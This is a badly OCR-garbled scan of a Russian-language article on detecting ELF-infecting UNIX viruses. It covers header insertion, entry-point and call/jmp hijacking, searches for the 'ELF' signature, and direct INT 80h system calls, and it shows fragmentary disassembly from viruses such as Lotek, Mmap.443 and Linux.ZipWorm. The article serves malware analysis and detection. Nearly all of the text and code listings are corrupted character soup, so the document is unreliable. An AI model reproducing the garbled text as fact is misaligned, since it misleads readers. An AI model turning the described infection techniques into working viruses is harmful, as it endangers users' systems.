NM4Ke Tam KpacHOPEYMBO CBUOETENLCTBYET O BUPYCHOM 3a-
paxeHun. 3arpysute uccrnegyemblin ain B no6oin HEX-pe-
paktop (Hanpumep, HIEW) » npoaHanuaupyinte 3Ha4eHue
nons e_ehize. CTaHOapTHbIA 3aroflOBOK, COOTBETCTBYHOLLMI
Tekywwmm Bepeuam ELF-paiina, Ha nnatdopme X86 (kcTaty,
HEAAaBHO NepeuMeHoBaHHON B nnatdopmy Intel) umeet gnu-
Hy, paBHyto 34 6antam. [ipyrue 3Ha4eHns B «4eCTHbIX» ELF-
thaiinax MHe BMOETb NMOKA He [OBOAMSIOCH (XOTA S U HE yT-
BEPXJAl, YTO Takux hainoB OeACTBUTENBHO HET — OMbIT
pa6oTbl ¢ UNIX y MeHs HebornbLUoi). Tonbko He MbiTaTech
3arpy3vTb 3apaxeHHblii thann B gusaccembnep. 31o Hecno-
nesHo. bonbLlunHeTBO 13 HKMX (M IDA PRO B TOM 4uncne) oTka-
XYTCS amM3accembnmpoBatb 06/1aCTb 3arofioBka, U Uccnemo-
BaTenb O (hakTe 3apaXeHUst HUYErO He y3HaeT!

Huxe npusefeH dparMeHT haiina, 3apaxeHHoro Bupy-
com UNIX.inheader.6666. O6paTnTe BHMaHWe Ha none onu-
Hbl ELF-3aronoeka, o6BefieHHOe KBagpaTtukom. BupycHoe
TENo, Ha4mHawlmecs ¢ 34h 6aiTa, 3anuTo 60PLOBLIM LiBeE-
Tom. Ciofia e HanpaBneHa Touka Bxoda (B JAHHOM cryyae
OHa paBHa 8048034h):

OFL FEBEo

PucyHox 8. dparMeHT HEX-mamma ¢aitna, BapaxeHHOT'O BMPYCOM
UNIX.inheader.6666, BreppsuompMcs B ELF-saromoBox. [lonst ELF-
BarofIoBKa, MOAMOMIMpOBAaHHHE BMPYCOM, BBSITH B pPaMKy, a caMo
TeNo BMPyCa BamUTO GOPAOBHM LBETOM

Kak BapuaHT, BUPYC MOXET BKMMHUTLCA MEXAY KOHLOM
ELF-3aronoeka 1 Ha4anom Program Header Table. 3apaxe-
HWE NMPOMCXOOMT TaK Xe, Kak 1 NpeaplayLlemM cnyvae, OgHako
ponvHa ELF-3aronoBka octaetcs HemsameHHoW. Bupyc okasbl-
BAETCH B «CyMEPEYHON» 0651acTi namsTy, oopmarnbHO npu-
Hagnexatle# OQHOMY M3 CErMEHTOB, HO Ae-(haKTO CcyMTalo-
LLENCA «HUYENHON» U MOTOMY UrHOPUPYEMOW MHOTMMU OT-
naguvkamu n gusaccembénepamu. Ecnvm Tonbko BUpYC He ne-
PEYCTaHOBMT Ha cebsi TOHKY BXofa, An3acceMbnep faxe He
COYTET HYXHbIM 3apyraTbCs No 3ToMy noBogy. Mo3Tomy Ka-
Ko 6bl 3ameyatensHoi IDA PRO Hu 6bina, a npocmatpu-
BaTb uccnepyemble (aiinsl B HIEW Bce-Takn Heo6xogumo!
YunTbiBas, 4TO 06 9TOM AOrajbiBatoTCA AANeKo He BCe 3KC-
nepTbl N0 6€30MacCHOCTY, AaHHbIA CNOCO6 3apaxeHUs PUCKY-
€T cTaTb BecbMa NepcrnekTuBHbIM. K 60pbbe ¢ BUpycamm,
BHeOpsoLLMMmMCa B 3aronosok ELF-chaiinos, 6yaste rotossbi!

Mlepexsat ynpaBnexua nyTem KoppeKyuu

TOYKH BXofja

YcnewHo BHeapuTbCa B harn — 9T0 ToNbko nongena. [ns
MOALEPXKKN CBOEN XM3HELEATENbHOCTU BCAKWIA BMPYC AOS-
XXEH TEM UNK UHbIM CNOCOBOM NepexBaTUTb Ha cebst HUTb Y-
paBnenus. Knaccmyeckuin cnocob, akTMBHO MCMONb30BaB-
nica elwle Bo BpemeHa MS-DOS, ceoamtcsi K Koppekumm
TO4YKM BXxoja — ogHoro w3 noneit ELF/COFF/a.out 3aronos-
KoB hainos. B ELF-3aronoBke aTy ponb urpaet none e_entry,
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B a.out — a_entry. O6a nona cogepxar BMPTyanbHbIA agpec
(He cmeLLeHWe, OTCHMTBIBAEMOE OT Hadana danna) MaLluH-
HOW WHCTPYKLMM, Ha KOTOPYIO JOSKHO 6biTb NMepepaHo yn-
paBreHue.

MNpwn BHeOpeHun B haiin BUPYC 3anOMUHAET agpec opu-
TMHaNbLHOWM TOYKM BXOAA WM NepeycTaHaBNMBAET €e Ha CBOE
Teno. Cpenae BCe, YTO XOTEN cAenatb, OH BO3BpaLlaeT yn-
paBreHne Nporpamme-HOCUTENIO, UCMONb3YS COXPaHEHHbI
agpec. lNpu Bcein BUAMMON 6e3yNPeyHOCTU STOM METOLUKM
OHa He N1LeHa N3bsHOB, 06ecrneymBaloLLMX ObICTPOE pa3ob-
nayeHve Bupyca.

Bo-nepBblIx, To4Ka Bxofa 60MbLUMHCTBA HYECTHbIX hannos
yKasblBaeT Ha Ha4ano KogoBOW cekumu dhaina. BHegpuTbes
cioga TPYAHO, U BCe CYLLECTBYIOLUME CNOCO6bI BHEAPEHUS
CBSi3aHbl C PUCKOM HeoBpaTMMOro UCKaXeHUs MCMONHAEMO-
ro ¢havina, NnpMBOASLLEro K ero nofiHowM HepaboToCnoCOBHOC-
. Touka Bxofa, «BblNeTatoLas» 3a npegenbl cekumm .text, —
SIBHbI NPU3HAK BUPYCHOrO 3apajkeHUs.

Bo-BTOpbIX, aHanu3 BCKOro NOAo3puUTENLHOrO daina
Ha4MHaAETCS B NEPBYIO 04epedb C OKPECTHOCTEN TOHKM BXOAa
(v eto e 06bI4HO M 3aKaH4MBAETCH), MOSTOMY HE3ABMCUMO
OT cnocoba BTOPXeHUs B (haiin BUPYCHbIV KOZ, cpasy Xe 6po-
caeTcs B rnasa.

B-TpeTbux, To4ka BXoga — 0GLEKT MPUCTabHOrO BHUMA-
HUA NernoHa AMCKOBbIX PEBU30POB, CKAHEPOB, IETEKTOPOB U
BCEX MPOYMX aHTUBMPYCOB.

Mcnonb3oBatb TOYKY BXOZa AJ1 Nepexsara ynpasneHus —
CIIMLLKOM NPUMUTUBHO W, MO MHEHWUIO 6OJNbLUMHCTBA CO3fa-
Tenen BUPYCHBLIX Nporpamm, faxe no3opHo. CoBpemeHHble
BMPYCbl OCBaMBalOT ApyrMe METOAVKM 3apaXKeHus, U 3akna-
ObIBaTbCS Ha aHanNM3 TOYKM BXO[A MOXET TOSbKO HauBHbIN
(BOT Tak v poxpgatoTcs H6aiku 0 HeynoBUMbIX BUpYyCax...).

Mlepexsat ynpasnexus nyTem BHepexus

CBOEro Koja B OKpPeCTHOCTH TO4YKH BXo/la

MHorve BMpYCbl HUKaK HE M3MEHSIIOT TOYKY BXOAA, HO BHe-
APAIOT N0 faHHOMY afpecy KOMaHAy nepexona Ha CBOe Teso,
npefaBapuTeNibHO COXPaHWUB Ero OPUrMHaNbHOE COAEPXUMOE.
HecMoTps Ha KaXyLLyHCs 3NneraHTHOCTb 3TOro anroputMa,
OH [JOBONbHO KanpuaeH B paboTe M CIOXEH B peanvsauuu.
HayHem ¢ Toro, 4To ANsi CoXpaHeHUst OpUrMHanbHON MalluH-
HOW UHCTPYKLMM, PACrONOXEHHONM B TOHKE BXOAA, BUPYC A0N-
XXEH ONpenevTb ee AnnHY, HO 6€3 BCTPOEHHOrO An3accemob-
nepa 370 caenaTb HEBO3MOXHO.

BOMbLUMHCTBO BMPYCOB OrpaHW4MBAETCA TEM, 4TO CoXpa-
HSIEeT nepBble 16-6aiT (MakcUmarbHO BO3MOXHAs AfiMHa Ma-
LUMHHOWM KoMaHAbl Ha nnatcopme Intel), a 3aTeM BoccTaHaB-
NMBaeT Ux 06paTHO, Tak UNK UHa4Ye 06X0asa 3anpeT Ha Moau-
hmkaumo KogoBOro cerMeHTa. KTo-10 cHabXaeT KoOoBbIv
cermeHT atpubytom Write, nenas ero QOCTYnHbIM Ans 3anu-
cu (ecnu He Tporatb aTpubyThbl CEKLMWIA, TO KOJOBBIN CErMEHT
BCE paBHO 6yAeT MOXHO mogmdmumposatb, HO IDA PRO 06
9TOM He pacckaxer, T.K. C aTpubyTamm CerMeHToB oHa pabo-
TaTb HE YMEET), KTO-TO UCMONb3YeT (hyHKUMI0 mprotect ans
M3MEHEHWs aTpMByTOB CTpaHuL Ha neTy. W ToT, n opyroi
Crnocobbl CNLLKOM 3aMETHbI, @ UHCTPYKLUMS Nepexofa Ha Tesio
BUpYyca 3ameTHa 6e3 ovepepu!

Bornee coBepLUeHHbIE BUPYCHI CKAHWPYIOT CTApTOBYO MPO-
Lenypy 3apaxaemoro anna B nouckax UHCTpykuwmi call unm
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jmp. A Hanga TakoByto, NOOMEHSIIOT BbI3bIBAEMbIN afgpec Ha
appec cBoero Tesia. HecMoTps Ha KaxyLLytocs HeyNIOBUMOCTb,
06HapYXWUTb TakoW cnocob nepexsara ynpaBieHUs OYEHb
nerko. NepBoe U rnaBHoe — BMPYC, B OTIIMHME OT JleransHo
BbI3bIBAEMbIX (PYHKLMIA, HUKAK HE UCTIONb3YET NepefaHHble
eMy B CTeke aprymeHTbl. OH HE MMEeT HUKaKMX NOHATUI 06
UX YMCne U Hannuum (MallMHHBIA aHanu3 Konn4ecTsa nepe-
LaHHbIX apryMeHTOB HEMbICIIUM 6€3 MHTerpauum B BUMPYC
NOMHOLIEHHOro ansaccembnepa, OCHaLLEHHOro MOLLHbLIM WH-
TeNnekTyanbHbIM aHanu3aTopom). Bupyc TuwatensHo coxpa-
HSET BCE M3MEHSIEMblE PErUCTpPbI, onacasch, YTO YHKLMK
MOrYT WUCMONb30BaTb PETMVCTPOBYIO Nepefady apryMeHToB ¢
HEM3BECTHbIM eMy cornaiueHmem. Camoe rnaBHoe — npu ne-
pepaye ynpassieHWst OpUrMHANBHOW (PYHKLMM BUPYC OOMKEH
nnéo yaanuTh C BEPXYLLKK CTeKa afpec Bo3spara (B NpoTMB-
HOM Cny4ae WX Tam OKaXeTcs fBa) NMbo BbI3bIBATH OPUTK-
HanbHYy0 (OYHKLMIO He koMaHaow call, Ho komaHgo jmp. Ona
«4eCTHbIX» MPOrpaMM, HamucaHHbIX Ha A3blKax BbICOKOMO
YPOBHS1, N TO U OpYroe KpanHe HeTUMUYHO, 6narofaps Yemy
BUPYC OKa3blBAETCA HEMELIEHHO pa3obnadyeH.

Bupychl, nepexsaTbiBaloLLMe ynpaBneHne B Npou3Bosib-
HOW TOYKEe MPOrpaMMmbl (3a4acTylo Ype3BblHalnHO yaaneHHoN
OT TOYKM BXOZa), BbIIBUTb HAMHOTO TPYAHEE, MOCKONbKY Npu-
XOQMTCS aHanM3npoBaTb [OBONLHO GOMbLUME, NPUYEM 3apa-
Hee He onpefesnieHHble, 06beMbl Koga. Bnpoyem, ¢ yoanexu-
€M OT TOYKM BXO[a CTPEMUTENIbHO BO3PACTaeT PUCK, YTO faH-
Has BETKa Mporpammbl HMKOrA4a He MOAy4YWT ynpaBneHue,
NOSTOMY BCE U3BECTHbIE MHE BMPYCbl HE BLIXOAAT 3@ rpaHu-
bl nepBoro BcTpeTusLlerocs um RET.

OcHoBHbIe NPH3HAKK BUPYCOB

VickaxeHne CTpyKTypbl UCMONHAEMbIX (haiinoB — xapakTep-
HbIA, HO HEJOCTATOYHbIA NPU3HAK BUPYCHOrO 3apaXeHus.
BbITb MOXET, 3TO 3aluMTa XWUTpas Takas unv 3aByaMpoBaH-
HbI CNOCO6 CamoBbIpaXeHWs paspaboTumnka. K Tomy Xe He-
KOTOpPbIE BMPYCbl YXUTPAIOTCA BHEOPUTLCA B (hain npakTu-
YeCKM 6€3 UCKaXeHWIA ero CTPyKTypbl. OfHO3HAYHbIA OTBET
JaeT NuWb NOJIHOE OM3acceMONMpPOBaHWe UCCNefyeMoro
dhanna, ogHaKo 3TO CIMLLKOM TPYLOEMKUIA cnocod, Tpebyto-
LMA YyCUOUMBOCTHU, FMYB6OKUX 3HAHWIA OnepaLvoHHON cucTe-
Mbl ¥ HEOTPaHUYEHHOrO KONMYecTBa CBOOOAHOrO BPEMEHMW.
Mo3ToMy Ha NpaKTVKe 06bI4HO MPUBEratT K KOMIPOMUCCHO-
My BapuaHTy, cBogsLiemMycs K 6ernomy npocMoTpy gusac-
ceMbnepHOro NUCTMHra Ha npeaMeT MoMcKa OCHOBHBIX Mpu-
3HAKOB BMPYCHOIO 3apaXeHws.

BOnbLUMHCTBO BMPYCOB MCMONb3YET [OBOMBHO Chneuudu-
YECKMIA HABOP MaLLMHHBLIX KOMaHA U CTPYKTYP LaHHbIX, Npak-
TUYECKN HUKOTOA HE BCTPEYAOLLMXCA B «HOPManbHbIX» Mpu-
noxeHusax. KoHeYHO, paspaboT4mK B1pyca Npu XenaHmm mMo-
XET BCE 3TO CKPbITb, M Pacro3HaTb 3apaxeHHbI Kog Toraa
He ypacTcs. Ho aTo B Teopum. Ha npakTyike e BUMpYyChl 06bI4-
HO OKa3bIBAOTCS HACTOMLKO TYrbl, YTO OOGHAPYXMBAIOTCS 3a
CYMTaHHbIE [0S CEKYHABI.

Benb 4T06bI 3apa3nTb XepTBy, BUPYC NPeXae AOMMKEH ee
HawTW, 0TO6paB Cpean BCeX KaHAMAATOB TONLKO (hainbl «CBO-
ero» tuna. [ins onpepeneHHocT Bo3bmeM ELF. Toraa Bu-
pyc 6yneT BbIHYXAEH CHMTATb €ro 3arofioBOK U CpPaBHUTb
YyeTblpe nepBbix 6anTa co cTpokon «~FELF», koTopoit cooT-
BeTctByeT ASCII-nocnefosatensHocTs 7F 45 4C 46. KoHeu-
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HO, ECIM TENO BUpYCa 3auMpPOBaHO, BUPYC UCMONb3YET XeLu-
CpaBHEHWE WM Xe LpYyrue XWTpble npuemsl Nporpammmpo-
BaHus, CTpoku «ELF» B Tene 3apaxeHHOro ¢paina He oka-
XeTcs, Ho 6oree YeM B NonoBuHe Beex cyLecTsyoLmx UNIX-
BMPYCOB OHa BCe-TakuW eCTb, U 3TOT NPUEM, HECMOTPS Ha CBOIO
N3YMUTENbHYIO MPOCTOTY, OYEHb HENIOX0 paboTaer.
3arpyaute uccnegyembiin hann B mobont HEX-pegaktop
1 nonpoobynTe oTbicKaTb CTPOKY «~ELF». B 3apaxeHHOM thant-
ne Takux CTPOK OyfdeT ABe — OfHa HEermoCPefCTBEHHO B 3aro-
NOBKe, Apyrasi —B KOJOBOW CEKLMM NIV CEKLIMM AaHHbIX. Torb-
KO He ucnonb3yite ansaccembnep! OyeHb MHOrMe BUPYChI
npeobpasyloT CTpoky «c FELF» B 32-paspsagHyto uenouuc-
NEHHYI0 KOHCTaHTy 464C457Fh, koTopas MackupyeT npucyT-
CTBWE BUpYCa, HO MPU NEPEKITOHYEHUN B PEXUM Jamna cpasy
Xe «NposBNfeTCsA» Ha KpaHe. Huxke npvBefeH BHELLHUA BUL
¢hanna, sapaxeHHoro Bupycom VirTool.Linux.Mmap.443, ko-

TOPbI UCTIONBb3YET UMEHHO TaKyH METOAVKY:

F————————————— 1] ViEgl
.text:08048470
.text:08048480
.text: 08048490
. text:080484A0
.text:080484B0
.text:080484C0
.text:080484D0
.text:080484E0
. tewt:080484F0
.text:08048500
.text:08048510
ctext: 20
RiesqiE

0 i

i t-gs t:080484A3 dword ptr [eax], (464C457Fh
01433 ;gs.text:ﬂﬂﬂLBAHQ loc_804850E

text:08 4ot 080484AF duord ptr [eax+41, 10101h
text: 08 text:080484B6 Toc_804850F
'text;ﬂg.text:BSBASABC dword ptr [eax+10h1, 30002h
text 08 4ot 080484C3 loc_804850F

.text:08¢

. text:08048LAY

. text:080485B0

. text:080485C0

. text:086485D0

. text:080485E0
text:080485F0
08048400 sub 804845=

14, =48, .."
“3... .—APPPPPPPPP
-

PucyHok 9. &parMeHT ¢(anma, BapaxeHHOTO BUPYCOM
VirTool.Linux.Mmap.443. B HEX-pmaMne nerko o6HapyxuBaeTCst CTPOKa
«ELF», ucnojgbsyeMasi BUPYCOM QJIsi NOKUCKAa XEPTB «CBOErO» THNa

Bupyc Linux.Winter.343 (Takxe M3BECTHbIN NOL UMEHEM

Lotek) no aton meToauke 06HAPYXMWTb HE YAAETCSH, MOCKOSb-
Ky OH MCMOMb3YeT cneumansHoe MaTeMaTuyeckoe npeobpa-
30BaHue, 3aWwmpoBbIBas CTPOKY «c ELF» Ha nety:

Jucturr 13. $parmMeHT Bupyca Lotek,
cBoit mMHTepec k ELF-painam

TWATENBEHO CKpPHEBAaKILEro

.text:08048473 mov eax, OB9B3BA8lh .

; -"ELF" (mmuyc "ELF")
.text:08048478 add eax, [ebx] J
; TepBHe YeTHpe 6aifTa XepPTBH
.text:0804847A jnz short loc_804846E ..

; = sTo He ELF

HenocpepncTteeHHoe 3HaveHne BOB3BA81h, cootBeTCTBY-
loLLIee TEKCTOBOW CTPOKE || [4» (B NPUBELEHHOM BhILLE JIMC-
TUHTE OHO BbIGENEHO XMPHbIM LIPUGTOM), NpeacTaBnaet
CO60W He YTO MHOe, Kak CTPOKy « cELF», npeobpasoBaHHyo
B 32-pa3psiiHyt0 KOHCTAHTY U YMHOXEHHYIO HA MUHYC eWHU-
uy. CknagpiBasi Mosly4eHHOE 3HAYEHNE C YETbIPbMS MEepPBbI-
MW 6alTaMu XepTBbl, BUPYC MNOSyYaeT HOMb, €CNU CTPOKU
paBHbl, U HEHYNEBOE 3HAYeHWe B NPOTUBHOM Cry4ae.

Kak BapuaHT, BUPYC MOXET AOMOSHATL STANOHHYK CTPO-
Ky «cELF» 0o eomHuubl, u Torga B ero Tene 6yneT npucyT-
cTBOBaTh nocnegoeatensHocTs 80 BA B3 B9. Pexe BcTpe-
4aKTCs UMKNUYECKWEe COBWUMM Ha OfHY, OBE, TPU... U CEMb
MO3MLMIA B pasfiMyHble CTOPOHLI, HEMOJHbIE NPOBEPKU (T.€.
MPOBEPKM Ha COBMALAEHME OBYX N TPeX 6aiT) 1 HEKOTOpbIE
Jpyrve onepaumm — BCEX HE NepednUcmLLb!
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6esonacHocTb

Bonee yA3BUMbIM C TOYKM 3PEHMS CKPLITHOCTU ABNISIETCA
MEexaH13Mm peanusaLmn CUCTEMHbIX BbI30BOB. Bupyc He Mo-
XET NO3BONMTL Cebe TaLmMTh 3a CO60W BCto 61Mbnmoteky LIBC,
MPUIIMHKOBAHHYI0 K HEMY CTATUYECKOWA KOMMOHOBKOWA, Mo-
CKOMbKY CYLLIECTBOBaHME MOAJOBHOr0 MOHCTPA TPYAHO OcTa-
BWUTb He3amMeTHbIM. CyLLECTBYET HECKOSBKO CNOCOOO0B peLLe-
HUA 3TOW Npobnembl, U Hanbonee NOMynsAPHLIA U3 HUX CBO-
AMUTCA K Mcrnonb3oBaHuio nativeAPI onepaumoHHOR CUCTEMBI.
MockonbKy NOCNegHuUin ABNSETCH NPeporaTMBon 0COH6EHHOC-
Tel peannsaumm faHHOW KOHKPETHOW CUCTEMbI, CO3AaTenm
UNIX ge-thakTo 0TKa3anmcb 0T MHOFOYMUCIIEHHbIX NMOMbITOK €ro
cTaHpapTu3aumu. B yactHocty, B System V (1 ee MHoroumc-
NEHHbIX KNOHax) obpalleHne K CUCTEMHbIM (DYHKLMAM Mpo-
nexoaut Yepes gansHuid call no agpecy 0007:00000000, a B
Linux 370 ocyLLeCTBNAeTCS Yepes cnyxebHoe NpepbiBaHue
INT 80h (nepeyeHb HOMEPOB CUCTEMHbBIX KOMaHL MOXHO Haii-
™ B (haine /usr/include/asm/unistd.h). Takum obpasom, uc-
nonb3oBaHue nativeAPI| CyLeCcTBEeHHO OrpaHuYMBaET apearn
obuTaHua Bupyca, genas ero HenepeHoCUMBbIM.

«YeCTHble» NporpamMmbl B 60MbLUMHCTBE CBOEM MpaKTUYeC-
KW HUKOrda He paboTatoT Yepes nativeAP| (XoTa yTUNWUTBI U3 KOM-
nnekTa noctaeku Free BSD 4.5 BegyT ce6s UMEHHO Tak), Mo-
3TOMY Hanuume 6OJLLUIOrO KONMYECTBA MALLUMHHLIX KOMaH[
INT 80h/CALL 0007:0000000 (CD 80/9A 00 00 00 00 07 00) ¢
BbICOKOW CTENEHBIO BEPOSTHOCTU CBMAETENLCTBYET O HANINHMM
BUpyca. 19 NpefoTepaLLeHms NOXHbIX cpadaTbiBaHui (T.e. 06-
Hapy>XeHus BUpYyca TaM, F4e 1 CNefjoB ero HET), Bbl AOMKHbI HE
TONBKO 06HaPYXMUTb obpaLLeHus K nativeAPI, HO 1 npoaHanuau-
pOBaTb MOCHER0BATENBHOCTbL MX BbI30BOB. [N BMPYCOB Xapak-
TepHa crepyoLlas Lenovka CUCTEMHbIX KOMaHg: Sys_open,
sys_lseek, old_mmap/sys_munmap, sys_write, sys_close,
sys_exit. Pexe ucnonbaytotcs BbI3oBbl exec U fork. Ux, B vacT-
HocTu, ucnonbayeT Bupyc STAOG.4744. Bupychl VirTool.Linux.
Mmap.443, VirTool.Linux.Elfwrsec.a, PolyEngine.Linux.LIME.
poly, Linux.Winter.343 u pag opyrux obxogarcs 6e3 aToro.

Huxe npusefeH dparMeHT haiina, 3apaxeHHoro Bupy-
com VirTool.Linux.Mmap.443. Hanuune HezamacknpoBaHHbIX
BbI30BOB INT 80h c nerkocTtbio pasobnadaer arpeCcCUBHYHO
npupoay NPorpamMHOro Kofa, ykasblias Ha CKIIOHHOCTb MocC-
NefHEro K caMopasMHOXEHMIO:

IDR View-H
108048455 Infect proc near
moy eax,
;08048450 Kor edx, edx
:0804845C Kor ecx, ecx
:0804845E inc ecx
:0804845F inc ocy
: 08048460 int
108048462 test eax, eax
108048464 is locret_86485EA
:0804846R mov [ebp+01, eax
:0804846D xchg eax, ebx
:0804846E 0oy eax,
: 08048473 xchg acx, edx
;08048475 int
108048477 moy esi, eax
108048479 push eax
;08048470 xor eax,
:0804847C xor edx,
080484 7F inc ah
: 08048480 inc ah
;08048482 push eax
. : 08048483 push ecx
_text: 08048484 push ebx
.text 08048485 inc ecx
. text: 08048486 push ecx
text: 08048487 inc ecx
text:08048488 inc ecx
.text 08048489 push ecx
.text:0804848A push eax
_text:0804848B push edx
.text:0804848C mov eax,
. text 08048491 mow ehx,
.text: 08048493 int
- text:08048495 add esp,
text 08048498 test eax,
08048455: Infect

; LINUX - sys_open

; LINUX - sys_lseek

; LINUX - old_mmap

PucyHok 10. éparmeHT ¢daitna, BapaXeHHOTO BUPYCOM
VirTool.Linux.Mmap.443, neMacKuMpyKuyuM CBOE NPMCYTCTBME MPSIMBIM
obpamenneM k native[API onepauyuoHHOM CHCTEMs!
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A BOT Tak Ans CpaBHEHMUSA BbIMNAAAT CUCTEMHbIE BbI3OBbI
«4eCTHO» NporpaMmbl — yTUAWTBLI cat M3 KOMMJeKTa NocTas-
ku Free BSD 4.5 (cMm. puc. 11). IHCTpyKUMM NpepbiBaHus He
pa3bpocaHbl N0 BCEMY KOZY, a CrpynnupoBaHbl B COGCTBEH-
HbIX (PYHKLMAX-06epTKax. KOHEYHO, BUPYC TOXE MOXET «00-
Ma3aTb» CUCTEMHbIE BbI30BbI CIIOEM MEPEXOOHOrO Kopda, HO
BPSA MW Y HETO NONYYMTCA NOAAeNaTb XxapakTep 06epTOK KOH-

KPETHOro 3apaxaemoro ¢havina.

IDA View-A
:08049270
;08049270 sub_8049270
: 08049270
108049270 lea

proc near
eax, large ds:

108049276 int 8l =
108049278 ib short loc_ 8049268
retn

A
sub_8049270 endp
A

:0804927B
Loc_804927C:

align &

mp loc_80537EQ

08049281
08049284
08049284
.text:08049284

ctext: 84
sub_8049284
84

align &

<l
text:
text:
text:
text:
L text: E
.text:0804928E sub_8049284
.text:0804928E
text:0804928E

08049276: sub_8049270+6

PucyHox 11. $parMeHT «uecTHOro» Qaitnma cat m3 kommuexTa mno-
craBku Free BSD, akkypaTHO pasMemawmero native-API BEBOBH B
bynxumsx-o6eprrax

proc near

eax, large ds:
; LINUK -
short loc_804927C

HekoTopble (BNpo4eMm, LOBOSIbHO HEMHOMOYUCIIEHHbIE)
BUPYCbI TaK NPOCTO He CHAIOTCS U UCMOMNb3YIOT Pa3fnyHble
METOAMKK, 3aTPYQHSAOWME UX aHanM3 U 0B6HapyXeHUe.
Hanbonee TanaHTnuBbIE (MW CKOpPEe NPUNEXHbIE) pa3pa-
60TUMKM OMHAMUYECKN TreHepupytoT MHCTpyKumio INT 80h/
CALL 0007:00000000 Ha neTy u, 3abpacbiBas ee Ha Bep-
XYLIKY CTeKa, CKpbITHO nepeparT el ynpasneHue. Kak
CnefcTBME — B AM3acCEMONEPHOM NIMCTUHIE UCCNERYEMOVA
nporpammbl Bbi3oB INT 80h/INT 80h/CALL 0007:00000000
6yneT OTCYyTCTBOBaTb, U O6HAPYXMUTb TAKWE BMPYChl MOX-
HO NWLWb MO MHOMOYMCIIEHHLIM KOCBEHHLIM BbI30BaM MOA-
nporpamm, Haxofslmnxcs B CTeke. ATO AENCTBUTENBLHO
HENErko, T.K. KOCBEHHbIE BbI30BbI B U306UIUM MPUCYTCTBY-
0T U B «4eCTHbIX» NporpaMMax, a onpefeneHne 3HaveHuii
BbI3bIBAEMbIX aApPECOB MPEACTABNAET COO0N CEPLE3HYIO
npobnemy (BO BCAKOM Ciy4ae npu CTaTU4ECKOM aHanmse).
C Opyroi CTOpOHbI, TaKMX BUPYCOB MOKa CYLLECTBYET He-
MHOro (4a M Te — ChoLb nabopaTopHbIe), TaK YTO HUKa-
KUX NMOBOMOOB AJS1A NaHWKM Moka HeT. A BOT LUM(pOBaHWe
KPUTMYECKUX K PaCKpbITUIO y4acTKOB BUPYCHOro Tena
BCTpeyaeTcs ropasgo yvauwe. OgHako ons gusaccembnepa
IDA PRO 3710 He 60r BecTb Kakas cnoxHas npobnema, u
AaXe MHOroypoBHeBas LUM(POBKA CHUMaeTCs 6e3 maneii-
LLEero YMCTBEHHOIO M (hM3NYECKOrO HaMPsKEHNS.

BnpoueMm, Ha Kaxgyro cTapyxy ectb npopyxa, v IDA Pro
TOMY He ucksodeHue. Mpy HopManbHOM PasBUTUM COBBITUI
IDA Pro aBTOMaTu4ecku onpefenser MMeHa Bbl3bIBAEMbIX
hyHKUMIA, odhopmnaa uX Kak KoMMeHTapuu. bnarogaps aTo-
My 3ameuvaTtesibHoOMy 06CTOATENbCTBY, AN aHanusa uccre-
LYEMOro anroputMa HeT HyXAbl NOCTOSHHO Ne3Thb B cnpa-
BOYHMK. Takue BUpYChI, Kak, Hanpumep, Linux.ZipWorm, He
MOrYT CMMPUTLCS C NOJOGHBIM MOSIOXKEHNEM AESN U aKTUBHO
MCMONb3YHOT CneLmasbHble MPUEMbI NPOrpaMMMpPOBaHus, cou-
BatoLLme ausaccemobnep c Tonky. Tot xe Linux.ZipWorm npo-
Talk1BaeT HOMepa BbI3blBAEMbIX (DYHKLMIA Yepe3 CTeK, YTO

CHCTEMHEBIAAMUHUCTPATOP



BeoauT IDA B 3ameluaTensCTBO, Nnas ee BO3MOXHOCTU
onpepeneHna MMeH nocnegHux:

Jmcrunr 14, $parMeHT Bupyca Linux.ZipWorm, axTuBHO M HeGe-
BYCIEmHO NPOTMBOCTOSILETO muBsaccembnepy IDA Pro

.text:080483C0 push 13h
.text:080483C2 push 2

.text:080483C4 sub ecx, ecx
.text:080483C6 pPop edx

; // EAX := 2. 3ro BmsoB fork

.text:080483C7 pop eax

; LINUX - « IDA He CMOTJIa ONpefenuTh MMsl Bh3OBa!
.text:080483C8 int 80h

C 0ZHOM CTOPOHbI, BUPYC LEACTBUTENBHO JOOMICA NOCTaB-
NEHHOW nepef HUM Lenu, 1 ausacceMbnepHbI TUCTUHT C
OTCYTCTBYIOLUMMIN aBTOKOMMEHTapUSAMU C NEPBOro NpUCTy-
na He Bo3bMellb. Ho paBarite nonpobyem B3rnsHyTb Ha CU-
Tyaumto nog gpyrmum yrnom. Cam hakT npyMeHeHUs aHTUOT-
nafo4HbIX NPUEMOB YXE CBUOETENbCTBYET €CNM He 0 3apa-
XXEHUM, TO BO BCAKOM CJly4ae O HEHOPMaSIbHOCTU CUTYaLWK.
Tak 4TO 3a NMPOTUBOOENCTBME aHanNU3y muccnegyemoro gan-
na BMpYCYy NPUXOAWTCA pacnniaqnBaTbCs ocnabneHHon mac-
KMPOBKOI (B MPOrpamMMUCTCKMX Kynyapax no 3ToMy Cry4aio
06bI4HO TOBOPAT «M3 3apaXKEHHOro (haina BUPYCHbIE YLLK
Topyar»).

Y 6ygyT TopyaTth ewe u noTomy, YTo GOMbLUMHCTBO
BUPYCOB HWMKaK He 3a60TUTCS O CO3QaHWM CTApTOBOro Kofa
UK XOTs Bbl NTIOXOHBKOW ero nmmuTaummn. B Touke Bxoaa «ye-
CTHOM» MporpaMMbl Bcerga (Hy wnu npakTU4eckn Bcerga)
pacnosioxxeHa HopmasnbHas (PYHKUMSA C KNnacCU4eckum npo-
NOroM v 3MUNoroM, aBTOMaTUYECKM pacno3HaBaemas amusac-
cembnepom IDA Pro, BOT Hanpumep:

Jmcrunr 15. llpuMep HOpMajNBHOM CTapTOBOM QYHKIMM C KiIaccu-
YeCKMM NPOJIOTOM ¥ BSIMIOTOM

text:080480B8 start proc near
text:080480B8

text:080480B8 push  ebp
text:080480B9 mov ebp, esp
text:080480BB sub esp, 0Ch
text:0804813B ret
text:0804813B start endp

B HekoTOpbIX crydasx CTapToBble (OYHKUUM nepepatoT
6pasgbl npasneHus libc_start_main n 3akanuusatotcs no hit
6e3 ret. 310 BNoNHe HopMmasbHOE ABNEHKE. «BnonHe» noTo-
MY 4TO O4eHb MHOTME BMPYCbl, HANMMCaHHbIE Ha accembrepe,
NoMny4arT B «MOAAPOK» OT JINHKEPA TAKOW Xe CTapTOBbIN KOA,.

6e3onacHocTb

MoaToMy NpuCyTCTBME CTapTOBOro Kofda B UCCNeLyeMoMm
haiine, He [AeT HaM HUKaKUX OCHOBaHMI CYMTATb ero 3.o-
POBbIM.

